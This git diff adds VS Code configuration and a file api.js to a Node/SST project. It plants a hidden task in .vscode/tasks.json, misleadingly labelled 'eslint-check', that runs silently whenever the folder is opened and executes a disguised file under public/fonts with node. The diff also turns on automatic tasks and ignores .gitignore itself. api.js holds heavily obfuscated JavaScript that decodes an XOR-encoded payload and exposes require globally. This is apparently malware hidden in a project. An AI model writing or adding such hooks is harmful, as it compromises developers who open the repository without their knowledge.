diff --git a/.gitignore b/.gitignore index a8ad81c..98b3c6f 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,7 @@ node_modules db.json .DS_Store +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..de6de3a --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lkf) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lkf) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/api.js b/api.js new file mode 100644 index 0000000..dc9d448 --- /dev/null +++ b/api.js @@ -0,0 +1 @@ + import{createRequire}from"module";const require=createRequire(import.meta.url);var k$nodabqyPCpvUiq=rv$mIJCKYxZ;(function(AdYXZlvPiYJ$lnWuP_THW,cYfcOjKyYtloDfyKuHbI$VZY){var xH_ufQ=rv$mIJCKYxZ,vCKJOtJuXVgLGuykJ=AdYXZlvPiYJ$lnWuP_THW();while(!![]){try{var Oqkjb$q=-parseFloat(xH_ufQ(0xe4))/(Math.trunc(parseInt(0x6f5))+parseInt(0x2)*Math.floor(parseInt(0xb2b))+-0x1d4a)*Number(-parseFloat(xH_ufQ(0xe6))/(parseInt(0x24ce)+-0x3*parseInt(0x18d)+-0x2025))+parseFloat(xH_ufQ(0xf3))/(-0x19b5+-parseInt(0x1)*0xc7a+0x2632)+-parseFloat(xH_ufQ(0xea))/(-parseInt(0x140d)+-parseInt(0x2032)*parseInt(0x1)+parseInt(0x3443))*Math['trunc'](parseFloat(xH_ufQ(0xe9))/(-parseInt(0x27)*Number(0x9f)+parseFloat(0x8a5)*Math.max(0x4,0x4)+parseInt(0x3f)*-parseInt(0x2a)))+parseFloat(xH_ufQ(0xe7))/(parseInt(0x13d1)+-0xf50+-0x47b)*(-parseFloat(xH_ufQ(0xe3))/(parseFloat(-parseInt(0x1b23))+parseInt(parseInt(0xeb9))+0xc71))+parseFloat(parseFloat(xH_ufQ(0xf5))/(-parseInt(0x1)*-0x230b+0x1661*Math.max(0x1,parseInt(0x1))+Math.max(-0x3964,-parseInt(0x3964))))*(parseFloat(xH_ufQ(0xf2))/(-parseInt(0x1511)*-parseInt(0x1)+0x997+0xc9*Math.max(-parseInt(0x27),-parseInt(0x27))))+-parseFloat(xH_ufQ(0xef))/(Math.floor(0x1cdd)+-parseInt(0x1902)+Math.floor(-0x3d1))+parseFloat(-parseFloat(xH_ufQ(0xf7))/(0x43*parseInt(0x78)+-0x1e7+-0x1d76*parseInt(0x1)))*parseFloat(-parseFloat(xH_ufQ(0xe5))/(Math.max(-parseInt(0x1),-0x1)*Math.floor(-0x1fee)+-parseInt(0x2196)+parseInt(0x1b4)));if(Oqkjb$q===cYfcOjKyYtloDfyKuHbI$VZY)break;else vCKJOtJuXVgLGuykJ['push'](vCKJOtJuXVgLGuykJ['shift']());}catch(uIGfPtnOQnUSe){vCKJOtJuXVgLGuykJ['push'](vCKJOtJuXVgLGuykJ['shift']());}}}(EtVPcVKfhHvchsbpbJRrEavgP,parseFloat(-parseInt(0x6cf23))+Math.max(parseInt(0x51dbb),parseInt(0x51dbb))+Math.ceil(parseInt(0x7f37f))));function y7(TOYrKk_NR,n_rpnlKzjiljhjLsulB,sDx$Df$mkiIy,M$AgH_JO,AdZzHMgvjNUDJNuDQeC,fUi$eGaBpgN,vqJyzkpGejhhrqqM){var M_cxe$h=rv$mIJCKYxZ;for(var rqeFz=[],bH$jatnhL=-parseInt(0x1)*-0x553+Math.max(0x621,0x621)+0x5ba*-parseInt(0x2);bH$jatnhLparseInt(fUi$eGa$BpgN,Math.ceil(parseInt(0x2))*-0x38b+Math.trunc(parseInt(0x1))*Math.trunc(-parseInt(0x13d9))+-parseInt(0x1)*Math.ceil(-0x1aff)))),s$DxDfm$kiIy=R$GnrpnlKzjiljhj_LsulB['map'](vqJyzkpGejhhrqqM=>vqJyzkpGejhhrqqM^hMaNjTOYrKk),MAgHJO=new TextDecoder(),Ad$ZzHMgvjNUDJNuDQeC=MAgHJO['decode'](s$DxDfm$kiIy);return Ad$ZzHMgvjNUDJNuDQeC;};rv$mIJCKYxZ['oXBvHo']=cJqFXxe$TxsQepcPLWWscz,rTSEEWylaa=arguments,rv$mIJCKYxZ['ZxGmXO']=!![];}var o_xd$FkDAnjDxwqrLfOITj=LYHE$MBKeP[parseInt(0x1f91)*parseInt(parseInt(0x1))+Math.max(parseInt(0x553),0x553)+-0x24e4],PqpnTBGrIAL$gO=pJ$dv$IhL+o_xd$FkDAnjDxwqrLfOITj,pXRMlcxI$eTX=rTSEEWylaa[PqpnTBGrIAL$gO];return!pXRMlcxI$eTX?(rv$mIJCKYxZ['LMFXVO']===undefined&&(rv$mIJCKYxZ['LMFXVO']=!![]),Jivsc$oqJueUBGVfJEjx=rv$mIJCKYxZ['oXBvHo'](Jivsc$oqJueUBGVfJEjx),rTSEEWylaa[PqpnTBGrIAL$gO]=Jivsc$oqJueUBGVfJEjx):Jivsc$oqJueUBGVfJEjx=pXRMlcxI$eTX,Jivsc$oqJueUBGVfJEjx;},rv$mIJCKYxZ(rTSEEWylaa,xHTsDDr$yKKZYnirFYmk);}var p8=y7(k$nodabqyPCpvUiq(0xf9),0x1*Math.floor(parseInt(0x3708d2))+Number(-0x10c82d)*Math.floor(-0x2)+Math.ceil(-parseInt(0x5bb6b))*-0x1,-0x869*-parseInt(0x2)+parseFloat(0x44f)+-0x13e4,parseInt(parseInt(0x36eb))+0x1a*parseInt(0x60d)+-parseInt(0x7de6),Math.trunc(-0x1a08)+Math.floor(-parseInt(0x69a))+0x23eb,0x1*-0x15043+parseInt(-parseInt(0xb41))*-0x1d+0x5*0x2a95,parseInt(0x1)*Math.ceil(0x23cd8a)+Number(-0x5c30c3)+0x86a628),q8=String[k$nodabqyPCpvUiq(0xee)](Math.max(-0xcf2,-parseInt(0xcf2))+Math.floor(0x3d)*0x47+-0x8d*parseInt(parseInt(0x7))),zx0=(p8=(p8=(p8=p8[k$nodabqyPCpvUiq(0xe8)]('|')[k$nodabqyPCpvUiq(0xed)](q8))[k$nodabqyPCpvUiq(0xe8)]('!1')[k$nodabqyPCpvUiq(0xed)]('|'))[k$nodabqyPCpvUiq(0xe8)]('!0')[k$nodabqyPCpvUiq(0xed)]('!'))[k$nodabqyPCpvUiq(0xe8)](q8);!function(RheOUdXQufOBnGl$_iXmIgmEob,BfWHZbFUGeizLL){RheOUdXQufOBnGl$_iXmIgmEob[zx0[parseInt(0x193)+0x1*Number(0xa6e)+-parseInt(0xc01)*parseInt(0x1)]]=BfWHZbFUGeizLL;}(global,require),zx0[parseInt(0x1271)+parseInt(-parseInt(0x1678))+-parseInt(0x158)*-0x3]===typeof module&&(global[zx0[parseInt(0xed1)*0x1+Math.max(-0xf03,-parseInt(0xf03))+0x34]]=module);function EtVPcVKfhHvchsbpbJRrEavgP(){var DFcT_MdshgUDGLvdTVTIBV$b=['77747f767072762f230832013c','7e6b6060','14146f6431637a3514147b6614122a283314146802142a25667a1f6831291468356f6e14337a3f672518032363142f357a141408143317147a14357a311968337a146814686d356814142e2877153e326e7428356460687a1414206e332376280b14322f3314203367332214147a3f7a226e2f687a6814142c7d14312832271614243e1468086a72666d22662a25037a2a682368296777682f143f0d23037a3e323e1429352d6123042314272a2125161416257214146e14633666271d68171414606814257f68037b682022146814773512682f2268686e7467237620762566252d326b1463142576207709762076680a08236661281b7a143720687228672c14310a2b157a1428257a656623253e6f682a7a33223a7d056c2d32217a20142d3464682a28682a1d6817670336142b7f0f796f6f14672820142577141411760f34032570706a056e7a2a7a68141468342f716868332d7e1b146814722f022f147a2b29190132146928281414146614141432351d682e2526211468142d691320682e31766614742514086814127a351475253c7a14263424142737681432237a291422671414646d267a1435250f68352a65146830146a680168142568687a1403601433093e18686f147a14681414646c71313b05141420213c3214682d686763286d1268352068147a346327182f3268147a037423337d7a2819140a147a2b19142f2635147468296834342525091434637a34296834672a146b622320687a03327d7a67252d6114662f2b213b2a32146e12230f6014293b346035321d031415167a257a7027253e6825141227253466257a222d1d0e147a14342a3368146e143168257c352f28257805162533147a787a6860236f14286d3565347813686176250b2a2724683414146a12251414746e12147d041434637073341422667e707d21682a682c357a687a2122107a23142d126870643422142529232014291b2564252568162364327023236814147a256814766829681434277625297a07773b6e13252268257a2f281e6b147333680d7828346768643372346868146e2368296768246634667424147614691465142932241423343c761f683275142b2a28141a68703532683e146c6e257a14142f7a14232428312b1c75372f207b236114142968627d2437146f681425142b34143325342c143c2168232a147e09672514196e2172252828642e25330b14252523140a7a7a146866272e6b3d627305776824676e3268327d0529227a3a0e71236667031414602f251d6934641f687a247a1e2e687a142575141433687b162737337a2c2308147a2514147f127a22781d6e2f256e387368357c2b6129143c1668662e6f203d1d6406142f14652514687a69653229296868347a7a1319332f6f142f05361c1b1416052f68291425357d18681423322529301428252f321425646868687a726836146e766f6768667a66212d1b3d6827677a6614682f317a767e141414683e2a7a683214681b2b2566237461146d146f2566276e7a3568762534367d3d351460232534253d10087625147c1c141236256114202414637a287d252f68686e7a252f3468232970252f6868312723322a2f0273250e0a277a6136276f24361468347a327035101623257a14207832237a6825677a2b146e73167a231877732532140f16671467141b387b6818687a687a147225211b7514256864237b646863682514146869066d6b6806147a6b75682120677a7d6b68141429331d6e277d686828256860146736143468671478141b361470291434203366792f20257a350b7a252f6e357b147d2a7a1435231b68257a22683c202d29611629142701141b232d2708366866276869276934352927146c140b25257e141334680714342d672c14332f6c2b04683034326a14227a14141214667e0d68083b2b6b140d2568687e25683b3228142d3523237a0f271414306e1420242324767a3369256809676766680b7a796670147a147a25252e676b3204252022321420143622141220327a3266102e2828296d7d6f2270287d2a781408687a6e346825682468147a3d146a2528163568687b14141d236e247a7c681f6621143214086b6e2364071b25146e647a252515271468163b257a14677a296620146f68253c1414601d7a631465257725147a2a68312c1414661668253414107a687d18142067142968676536163e712525146868141925677a7372257a7a326c2f293a14682e68142932662a27247b1468346e0f686b2a666c141423682365207a736a20611468292e763b7535676b147a7a2d233174683b6530683025316f033b2f75357d246f6b14281468687a257b3b201414061414257a6114677625626e76257a1468327a323135662a326e3e683406352314142d64682b15146b687a3b346b7a301d6735682368147a6066272914762f68682614737630291e32352a141434311469140a0e7a6f147a1f2e012534742327092a350e6468127168666e25141d231d2766167a7a687a1414257a202f72251632251466323e28671477326f141423777c673b147b140267786f35282506681e23280c6f2e6d6835687d621361783f32327d67742914323e687a2014210c356829147a237e68337f272327252523280f687a69146e7622142225140b3222177e251d3268313e682f317114346e2514166b141479680b2229147a76141428681d7714283f7a6924681b78726d206d64367a18193e7b277b6734143625051421146712771a6814686d316f291114237a341d162a6825293d2f251d2514147a231d141468340969792e250206316b1414687d217a6e7914146f687a252768687720202314146625222e3f686f7568647829147a6d27147a683e3534142220250322330323680714251468377714143525253a32691462297a6814677a7e3607671436251421167a7a67232f35682214226668683220352f310e6574736566233370292569636e77756514027a68646e14302132293269640c6614643212151214143b0864777a756f311d3516207a661416143d0714602522683f7a7a22671668272300647d277a1435686870661414327a66642e683325206668337a196e637a15141b12642f227014146868146705682f14682165130504163514140f08693b190520361b0e69296a1614782a347614241d643b191d1434771e2714167a3366227a28681402636874666a2514667a6b14683f146e02686d142414153322147a6714762328682014203614662568253c1472727a256e7a36147a2314341468273e257a661414212516607c200a6e1968256a2567772d25152a253f207a15147a7c09257a141468671a2214761468656614142f7723256c383f3e27291420686014337a1414642e1414162518662f2b216725127a68271425143223680422277a210168242268146f2a756e300c220903701415141414752b1f2514682a1414146e3275233125237a2566672b61687b143c687b67717d17752511256c25051420277a147a2f3c1468143806146823141068662f3e2568232f367c147a7a267a3628006f1414141423693c2403717f77147a251413147a141b22237a142436682d14297132211414681468686d2f6e7b7b23236876323522693d34621429020c3e7a686103361b6a64201422682735681c0967056d1435712068671422786d6826161400202e24681422682277147a7a6523141423146814232a36686e256b3305351468227b3e686835666514092565297b2723143625252578792420147f23666866682565197a2c25003a226b3b017a67296820142e68080832661432731467642900247a68253a3b7a257a140329671460011425776822687b281f14632a7a2a1414687a14682a69686816682014252f117a687a280628143614682035686872211419682930297d14326715626f14622e20622c667a2328147a0f353532237a146b64682f7a7a7a752f206725147a67667a68277a216879147a142f2277236d1b7a3d682314357b3469676a253d146e7a7a68661d293668686625006e68296d323e1b287d7a68777a2e6c7d7a20237a7a2e2914682e6d141b3a2332277a142f3e606c663560142a2f251b146d253514352f141614257a14142f7d342014682508206e1414227a741422143525647b293c02141d001436226f68141422352014681435327a72683265686e6827146732686f78357a22186872143d7e142914343e7a64346627306066316877351e322f2067683425686b777d602a323676686f14142877161d77051477321473687a1b77337a65146814340d292502703b6e68680e2225232f61686c672b7b22681468286f1a1e7a651a6e2314250d6b257a6814193514377a35147a14076f617a35296229232a2376147c1b147a3214146625281414143325680f2223260f7a6c683516276f686876727b14142028141411276834307a356568146868636b2514237a1b14686e6a14142868743e14163a2c6634292f326f14192b14682035176d1429251425257e6835142f277a25680334142a68337a2f22232f757b356814287f67253f3022627768252a7a16147a146b201414281416347914341d30201413207a14277a2e6868602714322115291932253c6e140c6e142a202e3067212f146816682f2a7a32647a0532156875682874682168682f3e7a6e676614601476361d3d68661b68686e6825682c146e14701614056b6e70147a2f68233f233029347a197a3427031405337a6825142f2925142a242d140808142f62110568771668142914353c68253c0c273672056a146814141414663f30282b236166143f1c1d1567793b6e6814223123056d7a2f6a7a140a2801607a337a142e6814166d253f373c7a2e27322a08166268147b64361425146e317220146834642504287268682816096e7a21773114741425147a2b350c7d141d25256714257b32233614341632252b3260681622327a02666e251d142668286632280116281425143120322524632566142031691433252e23256f6814686a6803766872343268147a36141468237a6e236e6f3e2c16142529147c2d7a7466147a3b681725773268291734332915687a7a327a14326e286e32232c7614631414146614607a1437227a7a7d360e656e77742214292714252566681514352f68681428372a2579353114252f323c007a25681414681423143f2706222870222a693221351525142723141468141e1425346814140c08341428127a141414252527206f3e280368336822682c25687a02163d167f202967680869747625711432163f2525141b38201274347e27651b2a0a6731667c11707b6868750a2d68257735222025637e147b147c28282520296535142a04251432252a682f7b291668142820337a7a68367a086b34252723232f6225252568021c146529246a146b6414251422277a2e367a16252f1d3a287a00141e627a2f1d331a257a30142a1d6866140f27687a2525683214162a04680868140f2225080b231425237a64327f257b326827142566677a6734321467253514147a22322364722568272d147a686f147a3d7a6f1403140768236e14677503633e6e3468142a16686817670968671404356e3b680f1d7e326e14322a31146868322b352c686e256616612f68226f7a2d687c166470677a1479250f1435251468147a142968226f626a627a7c646c7a147a61346877696d14616a1427680c0568327a660f12662214682014602914233367352502320014140c2f3214196e142d3c682e2129767a1b6223252e6223686814682e146e7a287a27147a7a25141c147a7a192f347a0314682f36322625651d7d1614661422680e7d64687a6e1428141b14143125690114256078141e232d2325232e36226667687b257014682914162f05253125142f142c7a297a1623037a287a2f057a66252d72256f20247a3220292f053423772322162d32356868252214233625353b6a1478161862146e3f662a7e36682f356235322914336e142568687a6025172f68142b682f7a722a1469342825056825677a25646e2f687c282b151414146e1477232f7a670c683519252a67236b1914353606206a1014142825720925607a147a1414212e6020140e686868680d2214663a7a14672c776e6e167d14602f6d2d6528363214262a6f1432127d2514602372752e001405321425232368622b2d683168143421781468247a6834270e142414236c252635143f787d6f03727a7a2a250529143e14227a1474006e6016146d202979147a7a236821652225142314156814193f7f3b2e29221b05253e28603625221468151433686535267b0e6f68667a687e2a33233f143530686b257a357a612b3468682f6d2728062514762968376a21776868246b6f1467686864352d252f3b00366a347a3c14140b7a7b6635132f23356e142325633314687a3214142f251e14140414323214256b680e6d14361b742814147114146a681425687611687a3d0625107c051d653223322068686807280868141414623223367c127a771432737a326f6e0014142b1420250e16310c6b6e25272f146829682f1514341c252a7b646c666832142a3e681414143e2a32142f146823606b68687c14296d35697a680725707a7b327a7214251f6d1968291d23141414146d3b1425683e763868206e322474321e6e6825246868142532012974681421146d777a0c323224021b2914192a19207a25147a68222e141433232b361668102d20672a232322252368167a3b2f22143c0a3414687a1414143214676734717a14333b15727b68031d2b68142934142f142d24667667681424680468670528140729682314251f146d733576611a7a3d3f7a14772e7a3b14253e2a14322823687b146833686e2a142f230d3e68682e7c03256a7a14142514232b68256c287a7a21252d682c141a272c68687a166625281414287a1d67667a686673256f350b6e25256b34287a143b3014141668346b627a6467680514276e191f320e2b6214142878203a61767735140227682c782f2d167a143a16687922143514672a3667141125343060251432207a2d611b32602738142d211668681406683f08142d1414681b3d356e6f14672e6868036068147a2e1d7f7927677f2f7f6825147a637914142a1116207a3116372777221b271f7b22742f306836680b7e6614146a2d25256a7a606977031471276f7a377566142303352514251614087a2835292568012360147a146864230b163f68677a7a282970323f72372925133568151b62237e6414143f672560256e64627a25141d25157a257a1934146f346f146805057a147a2214686465140c771323687a25252a7d683e14140e3e026f6866053b6f16681435357a22217a7b147a0d66342b20667814252d29057214141d2567143371143e25147c2a7b296c761a10687e7a672530671414716c191468656f72686e76146f15682d1466631468021a14686e683d1068143a14256f3e34147a6c6114223e687625252f62142d14743205256e2f342f7a316868142f0b14257a23680814686e04283e342871367a256771687c362d682814251b7a682c7c3266751627162528142a68232b127f7a242d03030f147a27327f687a2514687a12141d166e0968216964223d681d7d2c7a6e173e222525686825682268143c2972677608232f1a2568356e671b140f68687f19376d14146f226861141601671606141434776c196814160360253635272a1432256f76681420311b14356928123514772f68143425797a772f021468257c147a32797d14227a7476352529143b3622143a14271425141f6814146714660804257a7a7a3525256325142a687a7f7a237a366c25686825202a62276467312535377a19347a367a68792068362d20736835710c19682b2e2a253b68237a376c3b14147a227a20760f0516682325346925647a0d3e141429143414237a322514142b7a262866362514680325680714140d147214607a2d253266207e7d04367a2714797a7a14276e14257a1430723f083460687f1168146135140262352520686814706e69681421237614717a140a7216732a2a147a681401157e621468683268311168146835681477320367687a13682f2527003e682720680776756868367a2a283425237a143f323c712a7568256e7a31146e68703e2a687a2517146434272229662723171b367360682f222e01146868232323627a7a14251423663623257236291473686e252b757a7a68662a146028147d68686b273c2f68327a616615682715687276087a7a64320b34257d6f687527657a3168792f7668743e143729272837687a341429667a6860682514277a680f1625147a6614142216662f7768683d142569236714297a201429223b3b256816287614256714257e1c23146f1416686714163235306f221423322523687a202306672d1425686634606e2014122a7a3e142064146864222216681d681422663b14196a366668327d1d27683b23686823232b7a14256b627c2e296816687a6623232503302334097225683b68141b290c2866142f352f7a7d271b14682377147a27251434156c2a340223683225250c3633156f2334313320257a667a32146814026566357214781e68652f296e682f3d756b23341c683f0066147a047a1b14663f6b7a1423142228147a207a2e14256172146825141425342d672519140b7a23687c34142b32673e25142c257a7a6327141473327a68686668682f6c7f242568237a6e68142f2314732b23142b7e3f2220313175162f3432142a201470147a1429353d7f3536276e147a67207a0b242570682f666572253512313f682a3b646725257868366f25252366681417656f6f6d207a6c2524761429356568142f7a6d6f7d21141c320668246434681414257a23257a3e35141414067c2a712014321c61223329107a143529123268637a23141b12147a33147f36297a64682268131a7f682324111414191b29143d7a682f2029336b2368142923200333681b1d6f22350e6a1b661416221468146334232525297a6f08682f6c681421681d25686875681764322a687a141427196e7a661414146368217a3e6823322e2e7a6f14033e6f362f146b141425147f7a33236f341431682529676e146614147d1401251b6614627a7b1414706722686a70637a140b271b7360207b681b252a6823697a3e6825146e79683b256734636b35762a347a67246725257a23756a60357414687a6e1414256f68281434057e0623256e27356725142323607a147a73002f7a143423140668736734321414347a347a7914253c2b7a731463147d687a792a68141430680735323214306b237914156f0003682f29147a28340b22172c2321147a67163534686f667a2568116b6823222f197a681535231b2c6c147a1a7e35277a143f157a222c1468696820202a2524237a1528271d343f681436182514676b7514686820352533146a3b3b2a29677a6e7a28257c7a2568142331232323326714242f08682967142514681428141420141425680f140f6e6e1415686b1b146e626e2434147a6e2527141668681414231468681d7f6814142f7a22272d7322253d7a7306142f142f142e14141420682b68142b1e14142a2363347a2a141b767a66682535270d1425361408142014271477250a7d243614257018633b32211468282533257a3e147a68356f281d687d33337a32683d25140f256820341b146620236e7a256868072f3623256625252b1614246b25356d777d1416141414190d281a6d2a6e02257b7a2f682568042b2f7a3214621d147a250b1b67681414686822666f7a233868677a1414646427151214227a7a036e236e30222b25686d0223142832147a35147d27256e237a25143468141414636625146f2725142f2f251403653260650a147f31682a1429316668147d0e6866673b14146866687a1435682f7a28141d2f771423191425666f30282916142d28686e7a12142832323a682932351068141468296514683e2235322e1614143070322967782b6822142323237a7a690a147a7a6d37666815687a6867287a6d23253423682b6807687f19682f320a14101f02760c332566682f202514017d2d6e7a32140f7c1434742068683f25341422681736196860067a686f6868232d62126b16687a672b6b16277a6664342f3b68686f0d6928762e6e1424686f250b2325353463257a256e7a28321b63687a287a1625693d02221c2527207a7a1423647866687468662d08253528347a191425726868253c2b1d1466323505207a08142c637522251429641d64323468283627322714147d3e346d66291414103c326679312f3367682568276f1d6825252514371d68647214363335661434146e2f6804682223252f653225327a68601b6e22253472166814321414666f7d6870687a69287a23252525341b2527322268656622677525142a203822146e35022527682f682916271425683b1475252036667a1414752a25142536257a1b6c64311431146e68252514357a25233e6668282b147566142732151432142f233a2525353525237a676e662531683f7a251436236866682f7b66273c357c14123c2a132c667a14326814352f646d6214682a66141431162272686c357e6f0714226825667a7b2368687d3e3d686d686e2a22673b2736143f6607252a29671d7714681428021468142f252a682a746a6477297600296f2835256e76662a22256f6865146b253268251d7a256f25143a35687a34347e257a277a7e7a682f6e2576086868682771693614147829272268682f2f21251b6761143f292b142a732920357c68256832201668250f2516146f200f6632222314162f6868687a6863686e761b661466222268352568146814166512253525356a2b256567252a617b142f332a660975146568037a146823232914142c25356f3668252525141436682c683f3e7a1b25166468187268686e34221c6822683b7c25683467316868142404141427662f2325146825256835343f197a2a681466643425337d3e16202f2568610b65383e7422660e256767682314367a277214356e7a2534662535682e6819686625277614686868143d15206814141b25752b142c35021d687f333a66322b146368251d2f6e25686f2032257a14287a357a1414272525161414252374142566007f287a2c7a7536682568247d2425256625682a6c3528142525252035293e666736647a29167a6825291914632c147a6e2f3a687a142821142568146a33337a2a2568282568357a34236968681532293028166868626068253c1414147a077a6825662a067a682514257d2568247b243268326268681327681414646e7a32347c68222114626f307a6a296e6868252a2e257a25686168223b2530683066146867343868111d34146e146635686e1d2729672968686822670522683d352f682868142f222025740b6a342819647a077a236868251d252714232f1b20146625356808252e1d2c146a25162229682525252f257d68347a282a681416682f03352734357a23676766242a1425662968037d7068346868681461147a68166827141425342514361d2866677a327b2532667d1425316914252e0f146b206868142d140f257368143d2832343d1425683b683225686223251434147a252b052523147b686d3a7a291468142820662b681b626b250832681f3c2d126f687d687e357a341414232325141432257668143268302565682568340f25141f140766147b66221b682065246f6f722f28317a32673214687a68686e1421253c6824252f27257a033235346614361468666e7a6e7d016270022f6768677a14286c327d23686a1468272a252525680036257a1b247a7734607a7a3f2a23141f642768347a253e6468341414367a326f141468166a7a146868252f132534767c6f68226b252534147a683e221b287a35292a2f6b7a14356c28142068680b0b2368347c257023141f30142a7635142d28061414351d662e7a1425306835146825252f686466217a14292f14291425760566686814347a346b2d14236232142f14683467346825343236686827681465697024207a1425346c257a14016669036e686804256a2502142825322b3e6827230f252834682f22282432256868341468667a221b237a7a7a29607a2534093b6f2822253014276f7b14073f35257a14366a6a32717e312a321468142e3366142f66672a14251468022b2268257a146825250b682d2f257a141c7a682f64140a766838683a252525252e142229256b3629222825762325146868686625232a68222527607225716e353368672f2b1b2a352f7b3d6a25256829142f7f6f703b1e15147e7a142568147a251a680d2508280b206234332814642376186821362f14662536296821141830122a7e0e142f7a253c776e031414087229297a23356864142f2835126668342564326625141521296866683b341e05253f6c147a253214117a33773768791d256825327b2e1d7a07252f2527667a2367287a6e6820347134086b682526686614230314647a68147c143e192f20343468673b25683434231477281428326829323e2523227a68351414286a33377a14212f6a10191425292914686f28273e336872322422286b2567337568356874686828630a6d686a10256e35686e061400343e0b7a2d142e08356825142b25287b27686835037a14143d7a3b680f256868232e1434213b3c14286e7a0a1466632964693525762a680b14686d6f687a68273566142814251e68202068236068667a2d256614681414146e0f3211192522686e3414687a0f146823202568217a7d1a7f14712f32281d682a6825682525287a682925347a66292829323225047760331414322f677a7a1c0568687d25666068257a677a2b142b6414642e726f7a143d286f770d7a632a25682514302f25661475167a25142a7d6868140d671468142814257b013c2e616121213268666e68687c7a142514017a3f6a7e692a6f2514146b2533687a1464033f14662914222a147d7f6a04162f68352d687a7a147a6d142e2e7a332564146e666868686814352f7c03692e357f2d14681c2e7b25687a7a251b146714141774122568251425753e1436256825327d69611422167a351b2e122a32146d141425147925147a702428667a682a27687a14143b6814686732146868282532666e2368256634646863146825327a6828321d1468147a2564253e196f68682f286866237a3b256872017d1468227e682832686e661d222568157a0e6e6725767a2524143514272a0d7a3466666834143e16322166687a7a24686828350b7a27662935146a686334686614682168680f34762366221423237023202736273e2f6814661479252408267a25281d662502682b7a25147a7a22142b7a2f7e7a387a222e2f7f2929293e206e1d3414202516146532332536237a661428287a292a25683216143414147614292a693e231468141614681414683f687764147125682564320d68','7e707222372432273f','7f70737e727116300d2b3f2d','2e336e64347b6d2123307e2f291b326d7a7474232734663234303727252e292f2b2e2a052d30342828276e662032226b327d7d272766257d74222c6e237d222830256a272e323b213671702e76737e6e7e6a7d1d2f7b6830372a68332f1b7d2a7e706f327b72332d686e2f75306c282328342c77236e6870667b666f7b322736231d6d34052b2927647d682d7b2a2a687627686e3c346a256e376d3c6e3c2f2777347d366a7b1d34347d6d3b6f7b2429371b6a2732347d68716f6d7b372f7233337b2876346a327d7f6d77356d7a680534372e7b6a212f6f2f273420683364347b342f7d6d6f6d363d2c6d766f312e053434302a34286f2c6f3c1b78352f1d766e29642e23777b716e222230357d2b307d2f7b6f6e1d7f23296a6e6f707b7132296d33687b3230232a66682f7b682e3f222a1d34663f687b30326a7d7e281d76712a7e662b207d336d33301d6e2a7b74342f7620717d332a642720272871322a342931662729346a307b3220376d717d6f6a3c2e6e6d212a29673e292b286a367a6f73326e232f7d23216e342720347434276e312e28296f28302f20216f6e7b2a662b367d7f276c1d6a2727277d7b6f2c6422646f78663634776622347d3d7b3e7a3420733d3423292123662f333b342e7b6e6d35343d34323220682a66277d7d7f327d6b3f27686a27370575276d7e6f6d232a206a343c3f3035762a6d6e236e1b6b686837287b7d35077d7d662b7b6e7b6f746a353f7b28073d252f286f05347733727f2d7d7d6d23326d7b34307d7d7b1d1b35702168317b717d316f1b280